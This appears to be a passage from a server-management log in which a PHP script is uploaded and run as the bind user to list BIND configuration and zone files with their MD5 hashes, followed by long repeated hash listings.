MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:57:33: Establishing a connection
2026-02-09 13:57:34: 

PUT: /tmp/pkp891641

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:57:34: 

runuser -l bind -s /bin/bash -c '/tmp/pkp891641; rm /tmp/pkp891641'

2026-02-09 13:57:34: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:57:36: Establishing a connection
2026-02-09 13:57:36: 

PUT: /tmp/pkp517818

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:57:36: 

runuser -l bind -s /bin/bash -c '/tmp/pkp517818; rm /tmp/pkp517818'

2026-02-09 13:57:36: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
